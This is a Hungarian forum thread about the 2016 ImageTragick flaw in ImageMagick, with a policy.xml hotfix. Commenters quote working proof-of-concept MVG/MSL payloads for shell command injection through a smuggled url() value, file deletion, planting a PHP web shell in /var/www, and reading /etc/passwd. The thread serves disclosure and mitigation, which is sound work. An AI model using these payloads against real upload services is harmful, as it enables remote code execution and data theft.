ImageTragick - Távoli kódfuttatás imagemagick képfeldolgozás esetén

https://imagetragick.com/

A leírás alapján minden imagemagick-ot használó weboldal (vagy szolgáltatás), ami a felhasználótól származó képet dolgoz fel érintett lehet.

Hozzászólások

Új TLD-t a sebezhetőségeknek! imagetragick.com? Fenét! imagetragick.vuln
(egyébként miért kap mindegyik saját domaint? Nem volna ésszerű egy közös domain alá gyűjteni őket?)

Egy értelmes kérdés is: a php-gd-nek ehhez semmi köze, ugye?

Ez minden hasonló esetnél előjön, de én hasznosnak tartom a sok szolgáltatást/felhasználót érintő bugok brandelését:
- egyszerűbb így hivatkozni rájuk, mint pl a CVE-2016-3714 kóddal
- egy helyre összegyűjtik az ezzel kapcsolatos összes információt
- így talán nagyobb médiafigyelmet kap
- miért ne? negatívumként nem nagyon tudok felhozni semmit

php-gd-t ez nem érinti

közben megjött az exploit is:

exploit.mvg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context


$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...

(az imagemagick kiterjesztéstől függetlenül automatikusan felismeri a képformátumokat, így jpg-re korlátozott feltöltés esetén is exploitolható)

via http://www.openwall.com/lists/oss-security/2016/05/03/18

Hotfix addig míg a fejlesztők tüsténkednek:

/etc/ImageMagick/policy.xml kiegészítése ezzel:

  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />

További vicces dolgok:


file_delete.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt


file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

/tmp/image.gif - image with php shell inside
(https://www.secgeek.net/POC/POC.gif for example)

$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php


file_read.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@...c/passwd'
pop graphic-context

$ convert file_read.mvg out.png # produces file with text rendered from /etc/passwd

Azert ezekre eleg nehez elfogadni a "nem gondoltak ra" kifogast